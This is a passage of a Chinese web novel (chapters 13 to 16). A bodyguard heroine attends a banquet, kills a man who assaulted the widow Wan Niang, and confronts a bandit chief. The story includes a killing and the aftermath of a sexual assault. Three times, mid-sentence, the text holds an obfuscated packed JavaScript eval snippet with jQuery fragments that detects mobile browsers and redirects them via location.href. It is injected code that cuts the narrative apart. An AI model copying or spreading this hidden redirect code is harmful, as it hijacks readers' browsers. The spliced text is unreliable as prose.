“姑娘你在府中侍候的是哪位主子?” 杜存荀找见了陆行,看两眼他身侧的夫人郑筠,有样学样,“我也是大夫人房里的。” “今日夫人怎么没带云儿小姐出来?” 杜存荀一下被问住。 “云儿小姐可是又生病了?” 杜存荀含糊答道:“小姐留在府中歇着呢。” 早知道就如实说了。杜存荀暗自嘀咕。她都未曾留意过陆府里那位娇弱的小千金。 “少出门也好,养好了身子最要紧。”婢女同情道,“我家夫人也惦记着云儿小姐的病呢,别人若是送了她什么好药材,都叫人送到陆家给云儿小姐养身子。” “我家夫人常夸张夫人心肠好。”杜存荀顺着她的话往下编。 有一搭没一搭聊了几句,张家婢女觉得杜存荀无趣,别过头去与其他人讲话,杜存荀如释重负,悄无声息隐出人海。 季庄跟在陆行身侧与旁人聊了几句,余光瞥见杜存荀不在原来的地方,便左右扭头去寻她身影,不料左顾右盼间,却见一鹤发童颜的老者笑容满面朝自己走来。 “在下夏恭,久闻季大夫盛名。” —— 杜存荀躺在端王细心栽种的老树上,百无聊赖拨弄着手旁横枝新抽出的一片嫩叶。 风吹过,树叶簌簌作响,几片叶落,落在树下水洼里,传出几声极轻微的叮咚声,杜存荀觉得好听,探出脑袋低头去看,底下明镜一般的水洼正好映出她的脸。 美是美,却不像她。 杜存荀双手枕住脑袋,又躺回来。 辛成柏千叮咛万嘱咐要她妆成另一张脸,纯粹是多此一举。 她素面朝天在这晏州城里溜达将近两年,也没见哪位大人在路上将她认出,不过那些官老爷上街,往马车里一坐,哪里还会掀开帘子瞧外头的平头百姓长什么模样?再说她自小在边关长大,父亲进宫述职也鲜少带她一起回晏州,除去几次佳节宴会,她几乎没在晏州待过几日...... 胡思乱想好一会儿,杜存荀估摸着宴饮差不多结束,松松筋骨起身,刚落地就听见不远处有人路过。 “……这杜衡一死,整个杜家就倒了呀。” “他那女儿,叫什么来着……之前多嚣张,仗着亲爹是功臣,竟敢指着皇上鼻子骂他昏君,要不是有免死金牌,她能逃过犯上的死罪?” “那免死金牌你可别提了。我看杜将军真是白养了这么个女儿,用命护驾才换来的免死金牌,半年不到就因为她几句话给用掉了......如今被贬,活不见人,死不见尸。” “这样丢人的事,难不成整日到街上宣扬?指不定早已经改名换姓给人当牛做马。” “不知死生这种最瘆人呐,指不定哪天就冒了出来……” “没死又如何,怎的,你干了亏心事,怕姓杜的找你寻仇?” ...... 看来自己也不至于无人问津。杜存荀心想。 随手摘了几片叶朝多嘴的人头飞去,不到半路却被一条长鞭打得七零八落。 这样灵活的手法,这样巧合的截胡,想也知道是何端。杜存荀不情不愿跳下树,刚好辛成柏背着手从走到跟前。 “躲着不见人,看来这宴会并不像你夸赞得那般有趣。”辛成柏站定,“明年还来不来?” “夏恭既然找上了季庄,陆陆辰竹进学有了着落,我这个不成器的杜家遗孤又不受待见,明年何必再来。”杜存荀满不在乎,反而有心思开他玩笑,“此处偏僻,但不够隐蔽,何端盯着我不够,大人还冒险来找我,就不怕被发现?” “被发现了能蒙混过去,我怕的是你自己送上门,找他叙旧。”小老头一脸正经。 杜家和端王的交情,可不比和他辛成柏的交情浅。 “您方才在宴会上见到了我也不同我打个招呼,形同陌路,终究是我这故友落魄了......”杜存荀笑呵呵道,“您再不来安慰我,我真要去找王爷诉苦了。” “我要是再不来,恐怕你要做的不止是诉苦。”辛成柏悠悠道。 他哪里不知道她什么脾气。方才那几句对杜家的落井下石,他也听得真切。 朝廷上风起云涌,世家大族的兴衰荣辱也不过一朝一夕,今日出了新贵,明日死个旧臣,早已是司空见惯。 但骄傲如她,哪里听得了家事被人当作谈资。 “我没见到他们长什么模样,打偏了也未可知。”杜存荀无辜摊手,掌心的玲珑短刀溜回袖中,“刀剑也无眼,真要动手都找不到人。” 辛成柏静静看着她,伸出手。 杜存荀自觉将袖中短刀递过去。 辛成柏收了短刀,手却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15133884|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不收回去,“人有利器,易起杀心。” 杜存荀不干了,“黑羽剑不能离手。” “寒月鞭。” 杜存荀挽起袖子,把缠绕小臂的银丝长鞭解下,绕好放到辛成柏手里,“这样总行了?” 短刀无刀鞘,鞭子倒刺也张牙舞爪,辛成柏用不惯这类暗器,拿到手反而小心翼翼起来,杜存荀殷勤上前,帮辛成柏将两样利器收好,“小心别伤着自个儿。您要是自己把自己伤着了,我可找不到人算账。” “往后再要收我暗器,吩咐何端跑一趟就行,何必您亲力亲为。他领了你命令,我不会不依。”杜存荀笑道。 “都是你珍重之物。何端手脚毛躁,护不好怕你怪罪。”辛成柏说。 杜存荀乐了,“有什么珍重的,用着顺手罢了。只要您高兴,一把火烧了都行。” 辛成柏拿她没办法,道了句好自为之就走了。 杜存荀见老头蹒跚走远,慢慢收起笑脸,继续沿方才那几人离去的方向溜达过去。 辛成柏一番好意,她心领,尽管自己从根上就是尚武的顽劣性子,也努力去收敛锋芒。 可本性始终难改,一口气咽不下去,杜存荀还是飞了石子将那几张说闲话的嘴角划拉出了血痕。 哪里料到这几位受了袭击,手指捻捻血口,面面相觑,竟然结伴借口身子不适,匆匆与端王告别,带上家眷就跑了。 一打就跑,也不闹一闹,没劲。杜存荀将手中剩下的碎石往地上一撒,拍掉手掌沙尘,拖着步子老老实实回去找季庄。 宴会散席,陆行正邀季庄一同坐马车回府歇息。季庄来时是和杜存荀一路走来,回时不忍让她一个人和其他奴仆在车外随行,于是谢过陆行的好意,推辞说还有百姓等着他去诊病,就先不回府了。 路过的一位新贵听到此言,问了季庄几句,大手一挥,说可以顺道载季庄和杜存荀一程。 季庄闻言,受宠若惊,连连躬身推辞。新贵伸手去拉,季庄往后就退,你进我退,拉拉扯扯,看得辛成柏心里发愁,将眉心揉了又揉。 端王此前从未邀过医者赴宴。 他一个大夫能受邀赴宴,在到场的宾客眼里,就已经是需要笼络的贵人了。但凡季庄的安分和愚钝能匀半分给杜存荀,自己也不必如此操心。 “大人,要不要载姑娘一程?”乔装成车夫的何端问。 “不用。”辛成柏放下轿帘,“这种时候她不会累着自己。走吧。” 辛成柏走后不久,杜存荀生拉硬拽愣是将死活不肯受新贵好意的季庄拉上了马车,贴近他耳边不停叨叨,“他说顺路就顺路,麻烦他一个,总好过辛苦我们两个,你何必扭扭捏捏,小便宜就得大大方方地占……这马车虽小,咱俩挤一挤也无妨,省去路上功夫还能多瞧几位百姓,未尝不是积德行善……” 杜存荀就不明白了,季庄也是陆行不远千里请来的名大夫,在晏州虽称不上养尊处优,但倚仗背后的陆家,多少不会过得与其他走方医一样低微,怎么受到一点示好就局促成这副模样,就连耳朵都红得发烫。 万一往后站得更高,门庭若市,岂不是更要他的命。 14. 第 14 章 黄昏,季庄和杜存荀还没走到陆府门口,就看见挽娘捏着一封信急急跑过来,叫他拆开来看。 季庄见是夏家送来的信,也不磨蹭,拆开后扫过一眼,便朝挽娘露出笑颜,“夏夫子为报救女之恩,愿收辰竹为弟子。” 其实早在夏荷看病那日,夏夫人就与季庄仔细聊了将陆辰竹送去夏家进学的打算。 只是夏恭迟迟不开口,季庄摸不准夏家意愿,怕是竹篮打水一场空,所以就没向挽娘和陆辰竹透露只言片语。 陆辰竹听到自己能去夏家上学的消息,脸上看不出喜悦,倒是挽娘扑通一声跪地,泪眼婆娑拉着陆辰竹给季庄和杜存荀都磕了头,被扶起来后又是进进出出忙个不停,寻出了好几个旧镯子,迫不及待出门典当去了。 在姜国,当官自然比行医要好。只要陆辰竹受了举荐当了官,无论官职高低,都有俸禄可拿,且子孙后代也能继承官职。大富大贵虽难及,但至少不愁吃穿,能安稳过日子。 但进学于穷苦人家而言,并不是件易事。 第一个坎就是束脩。弟子拜师时要行拜师礼,而行礼时要向师父呈上束脩以示敬意。季庄的师父季升收徒不论贵贱,因此季庄拜师时只送了家里仅有的三条干肉就能入师门。 夏恭不同。挽娘每日织布所得的银两勉强只够他们娘俩吃喝,若想要尽快闲出银两来置办束脩,只能去典当。 见挽娘要出门,陆辰竹拄着拐杖一瘸一拐想跟上去,“我也要去。” 杜存荀看他这副腿脚不便的模样,跟过去反而徒增麻烦,笑着拦下他,“辰竹怎么这样黏人?” 挽娘见天色将晚,叮嘱他乖乖留在家里,便忙不迭出去了,“辰竹先吃饭,娘很快回来。” 陆辰竹见挽娘已经出了门,那眼神着急得仿佛挽娘一走就是生离死别,话也来不及说,憋着一股劲挣开杜存荀,谁知一个没站稳,差点又要摔,杜存荀眼疾手快,拎鸡崽子一样将他整个人拎起来,嘀咕,“闹什么脾气。” 季庄看陆辰竹双脚悬空,赶紧过来把吓得脸色发白的陆辰竹抱过来放到地上捂着脑袋安抚,解释,“当铺附近常有地痞流氓流连,辰竹应该是担心挽娘遇到坏人。” “他脚上有伤,去了也不顶用。”杜存荀转转因为陆辰竹突然发力而差点扭伤的手腕,瞥一眼埋在季庄怀里异常安静的陆辰竹,脚步一拐也出了门,“我跟着出去溜达一圈,你们先吃饭。” 挽娘还没走远,杜存荀喊了她一声,走快两步追上去与她并肩,“正巧我也要出去买点东西。您去东街还是西街?” “东街......” 不等挽娘说完,杜存荀一拍手,“巧了,我也要去东街,一起吧。” 挽娘闻言笑了,“姑娘好心,我都明白的。姑娘为大夫所雇,不必听信辰竹没来由的担心陪我走这一趟。” 杜存荀本着出来了就没有空手回去的道理,挽住挽娘的手臂往前走,“多走两步的功夫罢了,您非要与我计较这些,倒显得我小气。” 挽娘由她抱着手臂,“方才辰竹闹脾气,让姑娘见笑了。” “小孩都是如此,耍耍脾气无可厚非。”杜存荀说。 “辰竹其实很懂事,只是我一直惯着他,才让他一直长不大。”挽娘说,“等上了学堂,有夫子约束同窗帮助,日后定能有所成就,好报答大夫和姑娘今日的恩情。” “都是大夫的功劳,我怎能跟着沾光。”杜存荀笑。 挽娘还是那句话,“姑娘好心,我和辰竹都明白。” 正说着,两人拐过转角,进入东街。夕阳西下,暮鼓声中,摊贩们正在收摊,两人走在街上,时不时听到稀稀拉拉几声要卖不卖的懒散吆喝。 走到当铺门口,杜存荀自觉停步守在外头,让挽娘一个人进去典当。 典当总要瞧瞧成色验验真假,再讨价还价一番,一时半会出不来,杜存荀趁空走到旁边一个卖糖人的摊位前,花了两个铜钱买下最后一个糖猴,想到季庄也喜欢吃甜食,于是又摸出两个铜钱买了一只栩栩如生的糖兔。 天色开始变暗,过路百姓越走越少,暮鼓声也不知道敲了多少下,杜存荀饿得吃完了买给陆辰竹的糖猴子,却只等到出来关门上锁的掌柜。 杜存荀心里一空,一把抓住掌柜肩膀,“方才那位拿了镯子来典当的妇人呢?去哪了?” 掌柜被她吓得愣怔原地,“早、早已走了。” 忽然听得几声断续呜咽,杜存荀捏紧手里的糖兔,直往当铺后一条小巷赶过去。 但两侧青砖堆砌出的是条空无一人的死路。 尽管如此,杜存荀脚步加快,侧身闪进仅容一人通过的小巷。 她的耳朵远比眼睛好使。 越来越近,才发现巷道尽头是个杂乱的拐角,扫街的笤帚和簸箕连同碎银铜钱散落一地,积年已久的污泥和尘沙将衣衫不整的男女蹭得肮脏不堪。 见有人过来,挽娘惊恐扔掉手中匕首,跌坐在地。 她的衣衫半开,发丝凌乱,脖子上是赫赫掐痕,左脸的巴掌印上是点点淤青,嘴唇也破了皮,正往外渗着血。 杜存荀望进挽娘空洞的双眸,心中了然,轻声安慰,“别怕。” 霍景光着两条腿蜷在地上不住地呻吟,捂住腹部的双手被鲜血染红,脸上一丝血色也无。杜存荀捏紧挂了糖兔子的竹签,蹲下来递给挽娘,“劳烦夫人帮我拿一下。” 挽娘惊魂未定,哆嗦着伸出血污混杂的手接过竹签,两行泪木然流了满脸,“姑娘,我......我没......我没有办法......” “没事。”杜存荀转身面向霍景,一手捂住他嘴巴,一手摸出黑羽剑,找准心口位置慢慢扎进去,直到地上的人不再动弹,这才面不改色朝挽娘开口,“你扎得不深,他应是疼得晕过去了。血慢慢会止住,他不会死,没事。” 杜存荀扯下霍景衣裳,盖住胸口外露出的剑柄和下流的下身,随即扶挽娘站起来,“有没有受伤?” 挽娘慢慢摇头。 “先回府吧。” 杜存荀收拾这种渣滓已经是稀松平常,挽娘却魔怔了似的,目不转睛盯着地上的生死不分的人,身上仿佛千斤重,怎么也拉不走。 许久,她口中艰难吐出四个字,“不能回去。” 紧接着,又是四个字,“不要报官。” 杜存荀知道她在担心什么,手脚麻利替她整好衣裳,又帮她理好乱发,“我会帮你瞒着,要是辰竹问起来,我就说你不小心摔了一跤,他要怪就怪我。” 挽娘摇头,艰难咽咽口水,声音嘶哑,“辰竹聪明,衣裳脏了,他会看出来。” 杜存荀当下立断,“不怕,我带你回我家里,咱们换了衣裳再回府。” 挽娘终于肯站起来。 一路上,挽娘的泪无声息干了一轮又一轮,还是流不尽。杜存荀带她进自己的卧房,让她挑一套干净衣裳,然后去烧水准备帮她擦身。 天已经完全黑了下来,杜宅偏僻空旷,挽娘不敢一个人待着,亦步亦趋跟出来。 提上来井水后,杜存荀挑水进厨房,挽娘也跟了过来。 杜存荀生好了火开始烧水,挽娘就挨着她坐在灶台旁看火。 杜存荀不知道说什么安慰的话才好,于是一股脑往里添柴,挽娘这时被烤干了泪,安静凑近灶口,伸手拨弄里头胡乱挤在一块的木柴,架成一个有口进风的柴堆。 “这样烧,热得更快。”挽娘说。 挽娘低沉的嗓音与方才大相径庭,杜存荀怕她哭哑了嗓子,便问她饿不饿。 挽娘摇头。 “我已经好久没有回来住,家里没有吃的,你要是饿了,只管与我说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15178436|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我出去给你找些吃的。” “季大夫会照顾好辰术,你不必担心。”杜存荀说,“这里很安全,那人不会再来找你。等洗完澡换好衣裳,我再带你回府。辰竹一直不见你回家,会担心的。” 听到陆辰竹的名字,挽娘眼里终于起了点生机,“辰竹是个好孩子。” 杜存荀怕她郁郁寡欢寻短见,赶紧安慰,“辰竹生病的事大夫都跟我说了。如今辰竹进学有了盼头,也一直在长身子,依我看,不出六年,他就能自立门户,带你离开陆府。辰竹上进孝顺,必能早日让您享乐。” 挽娘却好似没听见她的安慰,自顾自望着火堆说着,声音越来越微弱,“我身子弱,没能给辰儿一个好身子,性子也软弱,不能为辰儿在陆家争得一席之地。我将他带到这世间,却亏欠了他太多,让他吃了太多苦。” 杜存荀听了眉头一皱,马上反驳,“怎能将错都怪到您身上?您九死一生将辰竹带到这世上,已是莫大的成就,若不是陆老爷不作为,辰竹又怎会落到如今这步境地?同是为人父母,那陆云生病咳嗽两声,陆行走遍天下为她寻良医,千里迢迢找到季庄接到府中住下日日调理,陆廷在家门口找过三两个郎中就弃辰竹不管,真要论起过错,我看最大罪人是他。” 挽娘盯了她许久,垂眸不再看她,话里仍是梦中人不愿醒的执拗,“当初老爷待我是真心。他日日都会来楼里听我唱曲,有人欺负我,总是他护着我。帮我赎身后,他总将我带在身边。我这辈子的山川河海,都是他带我看的。” 杜存荀叹息,直言,“山川河海有什么好看,风沙扑面海水呛鼻的苦我从小吃到大,再说了,路见不平拔刀相助有什么稀奇。您要是喜欢见山见海,等我拿到酬金,再攒些盘缠,我带您与辰竹乘船南下江南云州看看,顺道去探望我一个老朋友,他为人大方,广结善缘,定不会叫咱们败兴而归。若是盘缠不够,咱们就半道绕路去季大夫家乡连州看看,连州虽为水乡,但山峦高耸,磅礴大气,山与水刚柔并济,不失为天下美景。” 挽娘破涕为笑,“自古女子多为情所困,姑娘如此洒脱,真是难得。” 杜存荀听了一愣,随即笑了笑,“常言道人非草木,孰能无情,我一介□□凡躯,又怎能不为情所困。只是不为男子所困罢了。夫人历经人情冷暖生死别离,阅尽山海风雪,坚韧至今,一时受惊说些失落之语罢了,也不见得是俗人。” 挽娘听了这番知心话,眼中竟是止住了泪,“老爷去世后,再没人与我说过这样的话。” 杜存荀没想到陆廷还和挽娘交了心,脱口而出,“没想到陆大人对您还真是情真意切。” 挽娘不计较她一时心直口快的冒犯,“若不是如此,我又怎肯委身于他。从前老爷日日来楼里点我唱曲,阿行偶尔也会跟着来。那时候阿行年纪小,楼里其他艺伎总喜欢逗他,看他脸红。但我一跟他说话,他就像仇人一般盯着我。阿昭不曾来过云想楼,但总会托阿行带信件给我,告诉我不要痴心妄想……” 杜存荀突然打断,“您方才说云想楼?” 挽娘点头,坦言,“我出身于云想楼。” “我有一位知心好友也在云想楼。她在楼里抚琴。”杜存荀也坦白,“等我拿到酬金,就将她赎出来。” 挽娘听了这话却摇头,“如今世道乱,姑娘若不能妥善安置那位朋友,云想楼不失为一处庇护。” “我不愿她做妾。”杜存荀说,“她有心仪的男子,所以不辞千里也要回到这晏州城来,如今怎能随意委身他人。她怕我担心,只提过一次那位心上人,但我明白她心中牵挂。” 挽娘不认同,“男子薄情且多情,且人心善变,即使那位郎君心中还有她,那位姑娘既已入了云想楼,便只能是妾室。依我看,那位姑娘与你交心,近来却从未提起心上人,想必早已经明白其中道理。” 15. 第 15 章 挽娘说的在理,杜存荀静下来琢磨半晌,后知后觉年楚那日说要一起住的许诺多半是哄她,但更多的担忧她不好跟挽娘提及,于是一挥手,“罢了,心上人靠不住也无妨,赎出来了天地广阔,她爱去哪去哪,与我同住一屋也好,嫁出去相夫教子也好,到处游历逍遥自在最好。” 刚好水烧开,往外撑得木盖轱辘作响,杜存荀掀盖舀水倒进浴桶,又为挽娘捧来一身衣裳,劝挽娘放空脑袋先洗澡,她就在门外守着。 等挽娘换好新衣裳,杜存荀为她整了衣衫,盖住她脖颈上的掐痕,又为她铺了些脂粉,遮住脸上的淤青,瞧着找不出破绽,便直奔陆府。 路上遇见巡夜的官兵,杜存荀轻车熟路躲过,挽娘也不多问,默默跟上。 绕过陆府大门,杜存荀带着来到一侧隐蔽偏门,勾起手指往木板门上一直敲。 声音不大,好一会儿才敲来季庄。 季庄急匆匆拉开一条门缝,见是杜存荀,顿时愣住,“你……” 杜存荀把挽娘往前一送,转身要走,“我再出去一趟。” 季庄拉住她,“夜里有宵禁......” 转回来不咸不淡看他一眼,“大夫,你躲宵禁可比我熟练多了。” 多少个月黑风高的夜晚,季庄怕被发现,没有提灯,看不清路,小心翼翼走得十分慢。她跟在他身后,哈欠连天不敢发出半点声音。 他偷偷摸摸犯宵禁去见急病的百姓,不管前来敲门求医的人是好是坏,也不告知她一声。 谁也别说谁。 “姜国之所以设宵禁,就是因为夜间盗匪流氓多。你就算不被巡逻的官兵抓到,也难免碰上几个穷途末路的匪徒。”没好气回他,“以前是你运气好,如今惹上顾怜,你当真以为你一个人能安然无恙回府?” “你自己冒险,搭上的却是我的酬金。”懒得再与季庄翻旧账,动动肩膀挣开他束缚,“我去去就回,不必为我留门。” 季庄呆了好半晌才反应过来自己这些年最深的秘密已经暴露无遗,不然杜存荀不会找到这扇门还一直敲。这扇门废弃已久,别说陆行,就连一直住在偏院里的挽娘和陆辰竹都忘了它的存在。 但不等他多问一句,杜存荀已经利落关上门,并且找东西在外面卡住了门锁。 季庄推了几下没推动,杜存荀轻快笑声渐远,“别想着出去了。今夜我不在,就是皇上驾崩了也不关你的事。大夫今夜必须好梦。” 季庄:“......” 刚打算转身去问候挽娘,门却又突然打开,面前蹦出一只剔透糖兔子,“差点忘了......大夫,我还给你买了糖,记得吃。” 季庄手忙脚乱接过竹签,来不及道谢,杜存荀又一阵风似的带上门卷了出去。 晚饭没吃,杜存荀肚子饿得直叫唤,只想快快取回倒插在霍景胸口的黑羽剑,再捡回挽娘被抢走的那些铜钱和碎银,最后去云想楼点上一桌酒肉,和年楚说说话,温香软玉里做个好梦。 谁知才走到当铺门口,就被吓得一激灵。 有人。 悄无声息的一个人。 那人立在巷中,一袭白衣,正垂头执帕认真擦拭黑羽剑。 杜存荀从不信神佛,也不信鬼怪,凝神一直等到那人抬起头来。 桃花眼,阴柔面。 正是黑风寨寨主顾怜。 顾怜貌似等她多时,见眼前无声无息冒出一个人来也不怕,反而朝她勾勾嘴角,露出一抹示好的微笑,手中黑羽剑在月光下映出一道冷光。 杜存荀想起挽娘的遭遇,眉头一蹙,“你干的?” 她本以为霍景是为了报复季庄和陆辰竹才从挽娘下手,可霍景不是黑风寨的人,现在顾怜又如此巧合出现在这里,前因后果便完全变了样。 “霍景侵扰弱妇,尸身我已经叫人给烧干净了,姑娘不必担心。”顾怜避重就轻,捏着黑羽剑步步向前,“黑脸性子急躁,先前多有冒犯,我已经罚过他,姑娘若还是气不过,大可将他碎尸万段。” 顾怜一字一句,说得不紧不慢,说完刚好停在她面前,“听闻姑娘护季庄一个月才得一百两白银,我出更多银两,姑娘将季庄交给我,如何?” 杜存荀立在原地,接过他双手递来的黑羽剑,知道他不想和她交恶,于是也压了压心头的火气,“凡事都有先来后到,我已经答应了季庄,这个月会护他平安无虞,还请寨主知难而退,别碍着我糊口。” “姑娘大可开个价钱。”顾怜笑。 杜存荀知道顾怜财大气粗,故意不去看他那双势在必得的眼,“季庄无辜,他不曾与沈氏有染。” 顾怜立马笑不出来,“那只是他的一面之词。” “你说的又何曾不是一己之见。”杜存荀后退一步,转身要走,“你和季庄之间的恩怨,我不知你为何要扯上挽娘,但你若是还要对挽娘使一些下贱手段,那就别怪我对沈氏下手。” “你敢!”顾怜上前一步,气急败坏扣住杜存荀右肩。 杜存荀旋身将肩上束缚挣开,并在顾怜手腕落下一圈微不可见的血痕。如果力道再大些,只怕整只手会就此断掉。 “寨主大可试试看,看我敢不敢。” 顾怜心知面前女子的功夫不在自己之下,冷静取出帕子将手腕缠好,双眼警觉上视,没再轻举妄动。 杜存荀见他识时务,反倒记起还有件事没干,于是朝他伸手,“挽娘典当得来的银子,交出来。” 顾怜像是听到了什么天大的笑话,眼神仿佛在说他怎么可能会顺走那点钱,脸上却还是一副人畜无害的模样,“辛苦姑娘自己去捡。天黑了,记得趴低些,不然看不见。” 顾怜气定神闲将沾了血的手指放进嘴里品咂,随后不知从哪里掏出一把华美折扇轻轻摇着,“这夏夜还怪闷热的,巷子里也吹不进来风......既然姑娘无意帮我,我就先回去纳凉了。” “此前的事情我不与姑娘追究,若姑娘改主意了,我随时恭候。”顾怜越过杜存荀,头也不回离开,“但要是姑娘为了这几两碎银非要与我对着干,我也乐意陪姑娘玩一玩。” 杜存荀不听他废话,侧身走进窄巷,蹲下来老老实实摸了一手黑泥,一个铜板没摸到。 杜存荀:“......” 真他爹的讨打。 顾怜走出没几步,身后追来一阵迅疾拳风,矮身躲过一掌,再展扇拦住一剑,随即步步后退,步步防。杜存荀掌掌往他身上招呼,杀意盈满双目,却是抹了他一身黑泥后迅速掏走一个沉甸甸的钱袋就一溜烟跑了。 顾怜一把扔掉被黑羽剑啃烂的折扇,咬牙切齿,“......疯子。” —— 季庄还没睡,听见声响下意识往墙上看,果然看见杜存荀不走寻常路,翻墙落了地。 杜存荀洗干净手,就听季庄打开房门,一脸凝重走向她。 他竟然还没睡。 这下就麻烦了,她只想顺道回来洗个手再去云想楼,毕竟扒脏了年楚的窗棂可是要被骂的。 “大夫还不睡?”杜存荀问。 “挽娘说不出话了。”季庄拿出一张草纸,上面密密麻麻都是挽娘娟秀的字迹,看样子是季庄问她一句,她就将回答写到纸上。 杜存荀觉得不对劲,赶紧接过来仔细看,看完才知道挽娘从一开始就被霍景往嘴里塞了药以防她大声呼救,后来挽娘与她说话时的异样声音并不是哭哑了嗓子,而是那药已经将她咽喉腐蚀。 可惜那时候的挽娘和她一样,以为是哭了太久,声音才变得嘶哑。 她以为休息后会恢复如初,但回到陆府见了季庄,才发现自己连一个字也说不出来。 杜存荀攥紧了拳,“你能解吗?” 季庄摇头,“太迟了。” “辰竹知道吗?” “挽娘回来时,他已睡下了。” 杜存荀把从顾怜身上搜来的钱袋扔到院中石桌上,久久没有言语。 —— 第二日晨光熹微,杜存荀早早起床想趁采药之前出门一趟,就听身后吱呀一声,挽娘推门而出。 挽娘眼眶红肿,不用说也知道回房后接着哭了一夜,杜存荀上前轻声向她问好,问她嗓子如何了。 挽娘苦笑着摇摇头,从袖中取出提前备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229681|164133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的纸笔,在纸上问杜存荀能否借她二两银子,她想去买吉福楼买份紫花糕。 拜夏恭为师,除去束脩,还要备上他爱吃的紫花糕。 夏恭德高望重,所收受的束脩也与其他夫子不同——除去寻常的十条腊肉,还需要备上他喜爱的紫花糕。 挽娘虽手头拮据,但也知此规矩,未筹到足够银两绝不会让陆辰竹贸然去拜师。 但这紫花糕是吉福楼的招牌,不仅选料考究,制作也是耗时耗力,因此一日只售卖百余份,有价无市。 夏恭虽不与他明说要吃紫花糕,但这是一直以来的规矩,挽娘绝不会让陆辰竹在束脩上就与其他弟子分出差异。 杜存荀自然也清楚这项不在明面上的规矩,于是掏出顾怜的钱袋子,“这是我昨夜从那歹人身上搜刮来的银两,买一份紫花糕足够了。” 挽娘接过钱袋就要出门,刚好季庄睡眼惺忪开门走了出来,见状劝她,“拜师一事不必如此着急,夏夫子一字千金,不会反悔。” 季庄心里也有愧,他知道因为陆辰竹的病,让陆辰竹进学已经成了挽娘心中最深的执念。或许他应该打点好一切再告诉她,这样一来,说不定她就能免遭昨晚的伤害。 意料之中,挽娘这次执拗得出奇,连他的话也听不进去,非要今日带陆辰竹去拜师。 “你现在有伤在身,我去帮你买回来。”季庄说。 杜存荀心里一紧。季庄要去,她自然要跟着。吉福楼的人嘴不把门,万一认出她,在季庄面前抖出她的脏事,季庄不知道又要怎么看她。 再说这吉福楼的糕点一份难求,队如长龙,季庄老老实实去排队,怕是等到天荒地老都轮不到他。 不如叫她一个人去。 “大夫,你留下安慰辰竹,我去买。” 离开陆府偷摸绕进吉福楼后厨,杜存荀一掀帘就碰上了一张熟面孔。 冯二见到杜存荀很是亲切,不动声色支走其他打下手的杂役,笑呵呵迎上来,“杜爷有何指教?” 杜存荀把刚刚好的银子递过去,“来一份紫花糕。” “今早的卖光了。明儿再早点来。”冯二把银子推回去,双臂枕在桌上凑近了盯她,“许久不见你踪影,如今在哪高就?” 杜存荀就当没听见,多推出去一个银锭,“帮个忙,再做一份。” 冯二将汗巾往肩上一搭,“你先告诉我你现在在哪干活。” 他不依不饶,杜存荀不好一直装傻,“怎么,想跟着我混?” “就问问。” “这活儿可不是一般人能干的。” “你不说我怎么知道能不能干。” “这吉福楼哪里待你不好,你非要跟着我走。” “那自然是跟着杜爷走才能出人头地。”冯二殷勤地给自己拖来一张凳子坐下,“那算命的可说了,你这命数好,干什么活儿都招财。” “之前你在这儿跑腿,闷声发大财,别以为我不知道……”冯二伸出食指点点桌面。 杜存荀私藏糕点,转手卖给出高价的贵客,自己捞了一笔又一笔,后来掌柜发现端倪,查了好些日子,才将她撵出吉福楼。 “你少翻我旧账。”杜存荀瞪他一眼,没心思再与他周旋,“这忙帮不帮?” 冯二公事公办,“不能帮。你走之后,掌柜日日查账,我今早帮你,明早不知道去哪喝西北风。” “就知道指望不上你。”杜存荀气得牙痒又无可奈何,抓起银子头也不回出了吉福楼。 还没回到陆府大门,杜存荀就听见了陆辰竹在呜咽,“……都怪我......娘喜欢的镯子没了,声音也没了……我再也不要读书了......” 应是一觉醒来,发现挽娘成了哑巴。 那哭声听着揪心,杜存荀不知如何面对里面的悲怆,于是在墙下磨蹭了好久,一直等到季庄出门。 “辰术怎么样了?” “已经不哭了。” “今早的紫花糕卖完了,我没买到。拜师只能推到明日了。”杜存荀歉疚道。 “无妨,辰术还没准备好,拜师的事情先放一放吧。” 16. 第 16 章 劝陆辰竹去夏家进学花了一些日子。 挽娘不能说话,季庄和杜存荀一唱一和,细数去夏家进学的种种好处。 小到能吃饱饭穿暖衣增长见识,大到能封官加爵、名垂青史,陆辰竹愣是不为所动,只想要寸步不离留在娘亲身边。 就连上山采药都不肯再去。 杜存荀向来不大懂得与小孩打交道,而季庄心软,说不出多重的话,陆辰竹决心不离府半步,他们也只能由着他去。 最后还是挽娘写了一沓密密麻麻的书信才将陆辰竹给劝动。 挽娘是陆行父亲先前从云想楼赎出来的花魁,识字,也写得一手秀丽的字。知道自己嗓子无药可救后,写了满满一纸的安慰,把陆辰竹叫来跟前看。 连着六七日,日日如此。 